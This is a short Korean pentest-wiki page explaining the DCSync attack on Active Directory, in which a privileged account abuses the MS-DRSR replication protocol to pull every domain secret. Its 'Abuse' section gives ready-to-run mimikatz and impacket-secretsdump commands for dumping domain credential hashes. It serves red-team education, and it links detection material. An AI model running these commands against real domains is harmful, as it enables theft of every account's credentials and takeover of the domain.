> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/data-theft/active-directory/dcsync.md).

# DCSync

도메인에는 도메인을 관리하기 위한 컨트롤러가 여러대 있을 수 있고, 각각의 컨트롤러가 모두 통일된 정보를 가져야 하기 때문에 MS-DRSR 프로토콜을 정보 동기화 목적으로 사용합니다.

<div><figure><img src="/files/2t3etJUI6PQh78M9YA7e" alt=""><figcaption><p>정상적 MS-DRSR 이용</p></figcaption></figure> <figure><img src="/files/igq4NsKLi62HnuX0Dw5Z" alt=""><figcaption><p>MS-DRSR 악용</p></figcaption></figure></div>

AD 환경의 기본 설정에서 Domain Admins, Enterprise Admins, Administrators 그룹원들은 모두 DCSync를 하기 위한 권한이 설정되어 있습니다.&#x20;

공격자가 높은 수준의 객체를 장악한 경우 정상적으로 정보 동기화를 요청하는 패킷을 전송하여 도메인의 모든 정보를 탈취할 수 있습니다.

도메인 컨트롤러는 도메인으로부터 정보를 가져오기 위해 다음과 같은 두가지 권한이 필요합니다.

<figure><img src="/files/SsQ5V6qg0uvEc5zfipu0" alt=""><figcaption><p>DCSync 세팅</p></figcaption></figure>

## Abuse

{% tabs %}
{% tab title="Windows" %}

```powershell
mimikatz # lsadump::dcsync /user:contoso\Administrator /domain:contoso.com
```

{% endtab %}

{% tab title="UNIX" %}

```bash
impacket-secretsdump contoso.com/Mick3y:'Password123!'@192.168.1.11
```

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://medium.com/@taipun2000/active-directory-security-dcsync-attack-f8a98b46b737>" %}

{% embed url="<https://www.xn--hy1b43d247a.com/credential-access/dcsync>" %}

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47>" %}

{% embed url="<https://www.netero1010-securitylab.com/detection/dcsync-detection>" %}
